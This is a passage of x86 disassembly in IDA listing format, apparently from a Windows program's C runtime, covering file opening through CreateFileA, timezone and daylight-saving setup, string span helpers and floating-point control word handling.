--------------------------------------------------------------------------- loc_433681: ; CODE XREF: sub_433626+4Fj xor esi, esi loc_433683: ; CODE XREF: sub_433626+59j test esi, esi jz short loc_43369C call sub_42F122 mov [eax], esi loc_43368E: ; CODE XREF: sub_433626+3Dj call sub_42F119 mov dword ptr [eax], 9 or esi, 0FFFFFFFFh loc_43369C: ; CODE XREF: sub_433626+5Fj push ebx call sub_43247A pop ecx mov eax, esi jmp short loc_4336B5 ; --------------------------------------------------------------------------- loc_4336A7: ; CODE XREF: sub_433626+Dj ; sub_433626+2Dj call sub_42F119 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_4336B5: ; CODE XREF: sub_433626+7Fj pop edi pop esi pop ebx retn sub_433626 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4336B9 proc near ; CODE XREF: sub_42F990+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_4336DF mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_4336EA ; --------------------------------------------------------------------------- loc_4336DF: ; CODE XREF: sub_4336B9+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_4336EA: ; CODE XREF: sub_4336B9+24j mov eax, 8000h test ecx, eax jnz short loc_433704 test ch, 40h jnz short loc_433700 cmp dword_676C64, eax jz short loc_433704 loc_433700: ; CODE XREF: sub_4336B9+3Dj or [ebp+var_1], 80h loc_433704: ; CODE XREF: sub_4336B9+38j ; sub_4336B9+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_43372B dec eax jz short loc_433722 dec eax jnz loc_4337BD mov [ebp+var_C], 0C0000000h jmp short loc_433732 ; --------------------------------------------------------------------------- loc_433722: ; CODE XREF: sub_4336B9+57j mov [ebp+var_C], 40000000h jmp short loc_433732 ; --------------------------------------------------------------------------- loc_43372B: ; CODE XREF: sub_4336B9+54j mov [ebp+var_C], 80000000h loc_433732: ; CODE XREF: sub_4336B9+67j ; sub_4336B9+70j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_433760 cmp eax, 20h jz short loc_433757 cmp eax, 30h jz short loc_43374E cmp eax, 40h jnz short loc_4337BD mov [ebp+var_10], esi jmp short loc_433763 ; --------------------------------------------------------------------------- loc_43374E: ; CODE XREF: sub_4336B9+89j mov [ebp+var_10], 2 jmp short loc_433763 ; --------------------------------------------------------------------------- loc_433757: ; CODE XREF: sub_4336B9+84j mov [ebp+var_10], 1 jmp short loc_433763 ; --------------------------------------------------------------------------- loc_433760: ; CODE XREF: sub_4336B9+7Fj mov [ebp+var_10], ebx loc_433763: ; CODE XREF: sub_4336B9+93j ; sub_4336B9+9Cj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_4337A9 jz short loc_4337A4 cmp ecx, ebx jz short loc_4337A4 cmp ecx, edi jz short loc_43379B cmp ecx, 200h jz short loc_4337D7 cmp ecx, 300h jnz short loc_4337BD mov [ebp+var_8], 2 jmp short loc_4337E7 ; --------------------------------------------------------------------------- loc_43379B: ; CODE XREF: sub_4336B9+C7j mov [ebp+var_8], 4 jmp short loc_4337E7 ; --------------------------------------------------------------------------- loc_4337A4: ; CODE XREF: sub_4336B9+BFj ; sub_4336B9+C3j mov [ebp+var_8], esi jmp short loc_4337E7 ; --------------------------------------------------------------------------- loc_4337A9: ; CODE XREF: sub_4336B9+BDj cmp ecx, 500h jz short loc_4337E0 cmp ecx, 600h jz short loc_4337D7 cmp ecx, edx jz short loc_4337E0 loc_4337BD: ; CODE XREF: sub_4336B9+5Aj ; sub_4336B9+8Ej ... call sub_42F119 mov dword ptr [eax], 16h call sub_42F122 mov [eax], ebx or eax, 0FFFFFFFFh jmp loc_433983 ; --------------------------------------------------------------------------- loc_4337D7: ; CODE XREF: sub_4336B9+CFj ; sub_4336B9+FEj mov [ebp+var_8], 5 jmp short loc_4337E7 ; --------------------------------------------------------------------------- loc_4337E0: ; CODE XREF: sub_4336B9+F6j ; sub_4336B9+102j mov [ebp+var_8], 1 loc_4337E7: ; CODE XREF: sub_4336B9+E0j ; sub_4336B9+E9j ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_433806 mov ecx, dword_6769CC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_433806 push 1 pop esi loc_433806: ; CODE XREF: sub_4336B9+138j ; sub_4336B9+148j test al, 40h jz short loc_433814 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_433814: ; CODE XREF: sub_4336B9+14Fj test ah, 10h jz short loc_43381B or esi, edi loc_43381B: ; CODE XREF: sub_4336B9+15Ej test al, 20h jz short loc_433827 or esi, 8000000h jmp short loc_433831 ; --------------------------------------------------------------------------- loc_433827: ; CODE XREF: sub_4336B9+164j test al, 10h jz short loc_433831 or esi, 10000000h loc_433831: ; CODE XREF: sub_4336B9+16Cj ; sub_4336B9+170j call sub_4321BB mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_433859 call sub_42F119 mov dword ptr [eax], 18h call sub_42F122 and dword ptr [eax], 0 mov eax, edi jmp loc_433983 ; --------------------------------------------------------------------------- loc_433859: ; CODE XREF: sub_4336B9+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_43705C ; CreateFileA mov esi, eax cmp esi, edi jnz short loc_43388C loc_433878: ; CODE XREF: sub_4336B9+1E5j call dword_437170 ; RtlGetLastWin32Error push eax call sub_42F0A6 pop ecx mov esi, edi jmp loc_43397A ; --------------------------------------------------------------------------- loc_43388C: ; CODE XREF: sub_4336B9+1BDj push esi call dword_4371F4 ; GetFileType test eax, eax jnz short loc_4338A0 push esi call dword_437044 ; CloseHandle jmp short loc_433878 ; --------------------------------------------------------------------------- loc_4338A0: ; CODE XREF: sub_4336B9+1DCj cmp eax, 2 jnz short loc_4338AB or [ebp+var_1], 40h jmp short loc_4338B4 ; --------------------------------------------------------------------------- loc_4338AB: ; CODE XREF: sub_4336B9+1EAj cmp eax, 3 jnz short loc_4338B4 or [ebp+var_1], 8 loc_4338B4: ; CODE XREF: sub_4336B9+1F0j ; sub_4336B9+1F5j push esi push ebx call sub_4322DE mov eax, ebx pop ecx sar eax, 5 pop ecx mov cl, [ebp+var_1] lea edi, ds:676EE0h[eax*4] mov eax, ebx or cl, 1 and eax, 1Fh mov byte ptr [ebp+arg_0+3], cl lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 and byte ptr [ebp+arg_0+3], 48h mov [eax+esi+4], cl jnz short loc_433961 test cl, 80h jz short loc_433961 test byte ptr [ebp+arg_4], 2 jz short loc_433961 push 2 push 0FFFFFFFFh push ebx call sub_42F91D add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_433922 call sub_42F122 cmp dword ptr [eax], 83h jz short loc_433961 loc_433916: ; CODE XREF: sub_4336B9+294j ; sub_4336B9+2A6j push ebx call sub_42F1A0 pop ecx or esi, 0FFFFFFFFh jmp short loc_43397A ; --------------------------------------------------------------------------- loc_433922: ; CODE XREF: sub_4336B9+24Ej and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_42F523 add esp, 0Ch test eax, eax jnz short loc_43394F cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_43394F push [ebp+var_10] push ebx call sub_434DF9 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_433916 loc_43394F: ; CODE XREF: sub_4336B9+27Ej ; sub_4336B9+284j push 0 push 0 push ebx call sub_42F91D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_433916 loc_433961: ; CODE XREF: sub_4336B9+22Ej ; sub_4336B9+233j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_433978 test byte ptr [ebp+arg_4], 8 jz short loc_433978 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_433978: ; CODE XREF: sub_4336B9+2ACj ; sub_4336B9+2B2j mov esi, ebx loc_43397A: ; CODE XREF: sub_4336B9+1CEj ; sub_4336B9+267j push ebx call sub_43247A pop ecx mov eax, esi loc_433983: ; CODE XREF: sub_4336B9+119j ; sub_4336B9+19Bj pop edi pop esi pop ebx leave retn sub_4336B9 endp ; =============== S U B R O U T I N E ======================================= sub_433988 proc near ; CODE XREF: sub_43046C:loc_4304ABp cmp dword_676BF0, 0 jnz short locret_4339B5 push 0Bh call sub_42DAEF cmp dword_676BF0, 0 pop ecx jnz short loc_4339AD call sub_4339B6 inc dword_676BF0 loc_4339AD: ; CODE XREF: sub_433988+18j push 0Bh call sub_42DB50 pop ecx locret_4339B5: ; CODE XREF: sub_433988+7j retn sub_433988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4339B6 proc near ; CODE XREF: sub_433988+1Ap var_18 = dword ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi push 0Ch pop edi xor ebx, ebx push edi mov [ebp+var_8], ebx call sub_42DAEF or dword_453BC8, 0FFFFFFFFh or dword_453BB8, 0FFFFFFFFh mov dword_676B38, ebx mov [esp+18h+var_18], offset aTz ; "TZ" call sub_4312E3 mov esi, eax pop ecx cmp esi, ebx jnz loc_433AF4 push edi call sub_42DB50 mov [esp+18h+var_18], offset dword_676B40 call dword_437218 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz loc_433C38 mov eax, dword_676B40 mov ecx, dword_676B94 imul eax, 3Ch cmp word_676B86, bx push 1 pop edx mov dword_453B24, eax mov dword_676B38, edx jz short loc_433A44 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_453B24, eax loc_433A44: ; CODE XREF: sub_4339B6+80j cmp word_676BDA, bx jz short loc_433A68 mov eax, dword_676BE8 cmp eax, ebx jz short loc_433A68 sub eax, ecx mov dword_453B28, edx imul eax, 3Ch mov dword_453B2C, eax jmp short loc_433A74 ; --------------------------------------------------------------------------- loc_433A68: ; CODE XREF: sub_4339B6+95j ; sub_4339B6+9Ej mov dword_453B28, ebx mov dword_453B2C, ebx loc_433A74: ; CODE XREF: sub_4339B6+B0j lea eax, [ebp+var_4] mov esi, dword_437074 push eax push ebx push 3Fh mov edi, 220h push off_453BB0 push 0FFFFFFFFh push offset dword_676B44 push edi push dword_6769B8 call esi ; dword_437074 test eax, eax jz short loc_433AB0 cmp [ebp+var_4], ebx jnz short loc_433AB0 mov eax, off_453BB0 and byte ptr [eax+3Fh], 0 jmp short loc_433AB8 ; --------------------------------------------------------------------------- loc_433AB0: ; CODE XREF: sub_4339B6+E8j ; sub_4339B6+EDj mov eax, off_453BB0 and byte ptr [eax], 0 loc_433AB8: ; CODE XREF: sub_4339B6+F8j lea eax, [ebp+var_4] push eax push ebx push 3Fh push off_453BB4 push 0FFFFFFFFh push offset dword_676B98 push edi push dword_6769B8 call esi ; dword_437074 test eax, eax jz loc_433C27 cmp [ebp+var_4], ebx jnz loc_433C27 mov eax, off_453BB4 and byte ptr [eax+3Fh], 0 jmp loc_433C38 ; --------------------------------------------------------------------------- loc_433AF4: ; CODE XREF: sub_4339B6+3Bj cmp byte ptr [esi], 0 jz loc_433C31 mov eax, dword_676BEC cmp eax, ebx jz short loc_433B17 push eax push esi call sub_42B260 pop ecx test eax, eax pop ecx jz loc_433C31 loc_433B17: ; CODE XREF: sub_4339B6+14Ej push dword_676BEC call sub_4298F2 push esi call sub_4293A0 inc eax push eax call sub_4297B8 add esp, 0Ch cmp eax, ebx mov dword_676BEC, eax jz loc_433C31 push esi push eax call sub_42A5D0 push edi call sub_42DB50 push 3 push esi push off_453BB0 call sub_429D10 mov eax, off_453BB0 add esi, 3 add esp, 18h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_433B76 mov [ebp+var_8], 1 inc esi loc_433B76: ; CODE XREF: sub_4339B6+1B6j push esi call sub_42A075 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_453B24, ecx loc_433B8D: ; CODE XREF: sub_4339B6+1E6j mov al, [esi] cmp al, 2Bh jz short loc_433B9B cmp al, bl jl short loc_433B9E cmp al, 39h jg short loc_433B9E loc_433B9B: ; CODE XREF: sub_4339B6+1DBj inc esi jmp short loc_433B8D ; --------------------------------------------------------------------------- loc_433B9E: ; CODE XREF: sub_4339B6+1DFj ; sub_4339B6+1E3j cmp byte ptr [esi], 3Ah jnz short loc_433BF1 inc esi push esi call sub_42A075 imul eax, 3Ch pop ecx mov ecx, dword_453B24 add ecx, eax mov dword_453B24, ecx loc_433BBC: ; CODE XREF: sub_4339B6+211j mov al, [esi] cmp al, bl jl short loc_433BC9 cmp al, 39h jg short loc_433BC9 inc esi jmp short loc_433BBC ; --------------------------------------------------------------------------- loc_433BC9: ; CODE XREF: sub_4339B6+20Aj ; sub_4339B6+20Ej cmp byte ptr [esi], 3Ah jnz short loc_433BF1 inc esi push esi call sub_42A075 pop ecx mov ecx, dword_453B24 add ecx, eax mov dword_453B24, ecx loc_433BE4: ; CODE XREF: sub_4339B6+239j mov al, [esi] cmp al, bl jl short loc_433BF1 cmp al, 39h jg short loc_433BF1 inc esi jmp short loc_433BE4 ; --------------------------------------------------------------------------- loc_433BF1: ; CODE XREF: sub_4339B6+1EBj ; sub_4339B6+216j ... cmp [ebp+var_8], 0 jz short loc_433BFF neg ecx mov dword_453B24, ecx loc_433BFF: ; CODE XREF: sub_4339B6+23Fj movsx eax, byte ptr [esi] test eax, eax mov dword_453B28, eax jz short loc_433C27 push 3 push esi push off_453BB4 call sub_429D10 mov eax, off_453BB4 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_433C38 ; --------------------------------------------------------------------------- loc_433C27: ; CODE XREF: sub_4339B6+121j ; sub_4339B6+12Aj ... mov eax, off_453BB4 and byte ptr [eax], 0 jmp short loc_433C38 ; --------------------------------------------------------------------------- loc_433C31: ; CODE XREF: sub_4339B6+141j ; sub_4339B6+15Bj ... push edi call sub_42DB50 pop ecx loc_433C38: ; CODE XREF: sub_4339B6+57j ; sub_4339B6+139j ... pop edi pop esi pop ebx leave retn sub_4339B6 endp ; =============== S U B R O U T I N E ======================================= sub_433C3D proc near ; CODE XREF: sub_43046C+A5p arg_0 = dword ptr 4 push esi push 0Bh call sub_42DAEF push [esp+8+arg_0] call sub_433C5E push 0Bh mov esi, eax call sub_42DB50 add esp, 0Ch mov eax, esi pop esi retn sub_433C3D endp ; =============== S U B R O U T I N E ======================================= sub_433C5E proc near ; CODE XREF: sub_433C3D+Cp arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_453B28, edi jnz short loc_433C72 loc_433C6B: ; CODE XREF: sub_433C5E+148j ; sub_433C5E+150j ... xor eax, eax jmp loc_433DBE ; --------------------------------------------------------------------------- loc_433C72: ; CODE XREF: sub_433C5E+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_453BB8 jnz short loc_433C90 cmp eax, dword_453BC8 jz loc_433D92 loc_433C90: ; CODE XREF: sub_433C5E+24j cmp dword_676B38, edi jz loc_433D68 movzx ecx, word_676BE6 push ecx cmp word_676BD8, di movzx ecx, word_676BE4 push ecx movzx ecx, word_676BE2 push ecx movzx ecx, word_676BE0 push ecx jnz short loc_433CE2 movzx ecx, word_676BDC push edi push ecx movzx ecx, word_676BDE push ecx movzx ecx, word_676BDA push ecx push eax push ebx jmp short loc_433CF6 ; --------------------------------------------------------------------------- loc_433CE2: ; CODE XREF: sub_433C5E+65j movzx ecx, word_676BDE push ecx push edi movzx ecx, word_676BDA push edi push ecx push eax push edi loc_433CF6: ; CODE XREF: sub_433C5E+82j push ebx call sub_433E0A movzx eax, word_676B92 add esp, 2Ch cmp word_676B84, di push eax movzx eax, word_676B90 push eax movzx eax, word_676B8E push eax movzx eax, word_676B8C push eax jnz short loc_433D50 movzx eax, word_676B88 push edi push eax movzx eax, word_676B8A push eax movzx eax, word_676B86 push eax push dword ptr [esi+14h] push ebx loc_433D45: ; CODE XREF: sub_433C5E+108j push edi call sub_433E0A add esp, 2Ch jmp short loc_433D92 ; --------------------------------------------------------------------------- loc_433D50: ; CODE XREF: sub_433C5E+C8j movzx eax, word_676B8A push eax push edi movzx eax, word_676B86 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_433D45 ; --------------------------------------------------------------------------- loc_433D68: ; CODE XREF: sub_433C5E+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_433E0A push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_433E0A add esp, 58h loc_433D92: ; CODE XREF: sub_433C5E+2Cj ; sub_433C5E+F0j mov edx, dword_453BBC mov eax, dword_453BCC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_433DC2 cmp ecx, edx jl loc_433C6B cmp ecx, eax jg loc_433C6B cmp ecx, edx jle short loc_433DD6 cmp ecx, eax jge short loc_433DD6 loc_433DBC: ; CODE XREF: sub_433C5E+166j ; sub_433C5E+16Aj mov eax, ebx loc_433DBE: ; CODE XREF: sub_433C5E+Fj ; sub_433C5E+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_433DC2: ; CODE XREF: sub_433C5E+144j cmp ecx, eax jl short loc_433DBC cmp ecx, edx jg short loc_433DBC cmp ecx, eax jle short loc_433DD6 cmp ecx, edx jl loc_433C6B loc_433DD6: ; CODE XREF: sub_433C5E+158j ; sub_433C5E+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_433DFD xor ecx, ecx cmp eax, dword_453BC0 setnl cl loc_433DF9: ; CODE XREF: sub_433C5E+1AAj mov eax, ecx jmp short loc_433DBE ; --------------------------------------------------------------------------- loc_433DFD: ; CODE XREF: sub_433C5E+18Ej xor ecx, ecx cmp eax, dword_453BD0 setl cl jmp short loc_433DF9 sub_433C5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433E0A proc near ; CODE XREF: sub_433C5E+99p ; sub_433C5E+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_433EA5 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_433E35 shl esi, 2 mov eax, dword_453BD0[esi] jmp short loc_433E3E ; --------------------------------------------------------------------------- loc_433E35: ; CODE XREF: sub_433E0A+1Ej shl esi, 2 mov eax, dword_453C04[esi] loc_433E3E: ; CODE XREF: sub_433E0A+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_433E78 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_433E82 ; --------------------------------------------------------------------------- loc_433E78: ; CODE XREF: sub_433E0A+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_433E82: ; CODE XREF: sub_433E0A+6Cj cmp [ebp+arg_10], 5 jnz short loc_433EC0 cmp [ebp+arg_8], 0 jnz short loc_433E96 mov esi, dword_453BD4[esi] jmp short loc_433E9C ; --------------------------------------------------------------------------- loc_433E96: ; CODE XREF: sub_433E0A+82j mov esi, dword_453C08[esi] loc_433E9C: ; CODE XREF: sub_433E0A+8Aj cmp ecx, esi jle short loc_433EC0 sub ecx, 7 jmp short loc_433EC0 ; --------------------------------------------------------------------------- loc_433EA5: ; CODE XREF: sub_433E0A+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_433EB6 mov ecx, dword_453BD0[eax*4] jmp short loc_433EBD ; --------------------------------------------------------------------------- loc_433EB6: ; CODE XREF: sub_433E0A+A1j mov ecx, dword_453C04[eax*4] loc_433EBD: ; CODE XREF: sub_433E0A+AAj add ecx, [ebp+arg_18] loc_433EC0: ; CODE XREF: sub_433E0A+7Cj ; sub_433E0A+94j ... cmp [ebp+arg_0], 1 jnz short loc_433EF1 mov eax, [ebp+arg_1C] mov dword_453BBC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_453BB8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_453BC0, eax jmp short loc_433F46 ; --------------------------------------------------------------------------- loc_433EF1: ; CODE XREF: sub_433E0A+BAj mov eax, [ebp+arg_1C] mov dword_453BCC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_453B2C add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_453BD0, eax jns short loc_433F29 add eax, 5265C00h dec ecx mov dword_453BD0, eax jmp short loc_433F3A ; --------------------------------------------------------------------------- loc_433F29: ; CODE XREF: sub_433E0A+110j mov edx, 5265C00h cmp eax, edx jl short loc_433F40 sub eax, edx inc ecx mov dword_453BD0, eax loc_433F3A: ; CODE XREF: sub_433E0A+11Dj mov dword_453BCC, ecx loc_433F40: ; CODE XREF: sub_433E0A+126j mov dword_453BC8, ebx loc_433F46: ; CODE XREF: sub_433E0A+E5j pop esi pop ebx pop ebp retn sub_433E0A endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_433F64: ; CODE XREF: .text:00433F6Fj mov al, [edx] or al, al jz short loc_433F71 inc edx bts [esp], eax jmp short loc_433F64 ; --------------------------------------------------------------------------- loc_433F71: ; CODE XREF: .text:00433F68j mov esi, [ebp+8] or ecx, 0FFFFFFFFh nop loc_433F78: ; CODE XREF: .text:00433F84j inc ecx mov al, [esi] or al, al jz short loc_433F86 inc esi bt [esp], eax jnb short loc_433F78 loc_433F86: ; CODE XREF: .text:00433F7Dj mov eax, ecx add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_433FA4: ; CODE XREF: .text:00433FAFj mov al, [edx] or al, al jz short loc_433FB1 inc edx bts [esp], eax jmp short loc_433FA4 ; --------------------------------------------------------------------------- loc_433FB1: ; CODE XREF: .text:00433FA8j mov esi, [ebp+8] loc_433FB4: ; CODE XREF: .text:00433FBFj mov al, [esi] or al, al jz short loc_433FC4 inc esi bt [esp], eax jnb short loc_433FB4 lea eax, [esi-1] loc_433FC4: ; CODE XREF: .text:00433FB8j add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433FCA proc near ; CODE XREF: sub_433FFF+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_434015 mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4340A7 pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_433FCA endp ; =============== S U B R O U T I N E ======================================= sub_433FFF proc near ; CODE XREF: sub_430668+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_433FCA pop ecx pop ecx retn sub_433FFF endp ; =============== S U B R O U T I N E ======================================= sub_434015 proc near ; CODE XREF: sub_433FCA+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_434026 push 10h pop eax loc_434026: ; CODE XREF: sub_434015+Cj test bl, 4 jz short loc_43402D or al, 8 loc_43402D: ; CODE XREF: sub_434015+14j test bl, 8 jz short loc_434034 or al, 4 loc_434034: ; CODE XREF: sub_434015+1Bj test bl, 10h jz short loc_43403B or al, 2 loc_43403B: ; CODE XREF: sub_434015+22j test bl, 20h jz short loc_434042 or al, 1 loc_434042: ; CODE XREF: sub_434015+29j test bl, 2 jz short loc_43404C or eax, 80000h loc_43404C: ; CODE XREF: sub_434015+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_434084 cmp edx, 400h jz short loc_434081 cmp edx, 800h jz short loc_43407D cmp edx, esi jnz short loc_434084 or eax, edi jmp short loc_434084 ; --------------------------------------------------------------------------- loc_43407D: ; CODE XREF: sub_434015+5Ej or eax, ebp jmp short loc_434084 ; --------------------------------------------------------------------------- loc_434081: ; CODE XREF: sub_434015+56j or ah, 1 loc_434084: ; CODE XREF: sub_434015+4Ej ; sub_434015+62j ... and ecx, edi pop esi jz short loc_434094 cmp ecx, ebp jnz short loc_434099 or eax, 10000h jmp short loc_434099 ; --------------------------------------------------------------------------- loc_434094: ; CODE XREF: sub_434015+72j or eax, 20000h loc_434099: ; CODE XREF: sub_434015+76j ; sub_434015+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4340A6 or eax, 40000h locret_4340A6: ; CODE XREF: sub_434015+8Aj retn sub_434015 endp ; =============== S U B R O U T I N E ======================================= sub_4340A7 proc near ; CODE XREF: sub_433FCA+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_4340B7 push 1 pop eax loc_4340B7: ; CODE XREF: sub_4340A7+Bj test bl, 8 jz short loc_4340BE or al, 4 loc_4340BE: ; CODE XREF: sub_4340A7+13j test bl, 4 jz short loc_4340C5 or al, 8 loc_4340C5: ; CODE XREF: sub_4340A7+1Aj test bl, 2 jz short loc_4340CC or al, 10h loc_4340CC: ; CODE XREF: sub_4340A7+21j test bl, 1 jz short loc_4340D3 or al, 20h loc_4340D3: ; CODE XREF: sub_4340A7+28j test ebx, 80000h jz short loc_4340DD or al, 2 loc_4340DD: ; CODE XREF: sub_4340A7+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_43410A cmp ecx, 100h jz short loc_434107 cmp ecx, esi jz short loc_434102 cmp ecx, edx jnz short loc_43410A or ah, 0Ch jmp short loc_43410A ; --------------------------------------------------------------------------- loc_434102: ; CODE XREF: sub_4340A7+50j or ah, 8 jmp short loc_43410A ; --------------------------------------------------------------------------- loc_434107: ; CODE XREF: sub_4340A7+4Cj or ah, 4 loc_43410A: ; CODE XREF: sub_4340A7+44j ; sub_4340A7+54j ... mov ecx, ebx and ecx, 30000h jz short loc_434120 cmp ecx, 10000h jnz short loc_434122 or eax, esi jmp short loc_434122 ; --------------------------------------------------------------------------- loc_434120: ; CODE XREF: sub_4340A7+6Bj or eax, edx loc_434122: ; CODE XREF: sub_4340A7+73j ; sub_4340A7+77j pop esi test ebx, 40000h pop ebx jz short locret_43412F or ah, 10h locret_43412F: ; CODE XREF: sub_4340A7+83j retn sub_4340A7 endp ; =============== S U B R O U T I N E ======================================= sub_434130 proc near ; CODE XREF: sub_4341CF+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_434175 inc esi cmp esi, 3 jge short loc_434170 lea eax, [eax+esi*4] loc_434162: ; CODE XREF: sub_434130+3Ej cmp dword ptr [eax], 0 jnz short loc_434175 inc esi add eax, 4 cmp esi, 3 jl short loc_434162 loc_434170: ; CODE XREF: sub_434130+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_434175: ; CODE XREF: sub_434130+27j ; sub_434130+35j xor eax, eax pop esi retn sub_434130 endp ; =============== S U B R O U T I N E ======================================= sub_434179 proc near ; CODE XREF: sub_4341CF+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_4351E0 add esp, 0Ch dec esi js short loc_4341CB lea edi, [ebx+esi*4] loc_4341B2: ; CODE XREF: sub_434179+50j test eax, eax jz short loc_4341CB push edi push 1 push dword ptr [edi] call sub_4351E0 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_4341B2 loc_4341CB: ; CODE XREF: sub_434179+34j ; sub_434179+3Bj pop edi pop esi pop ebx retn 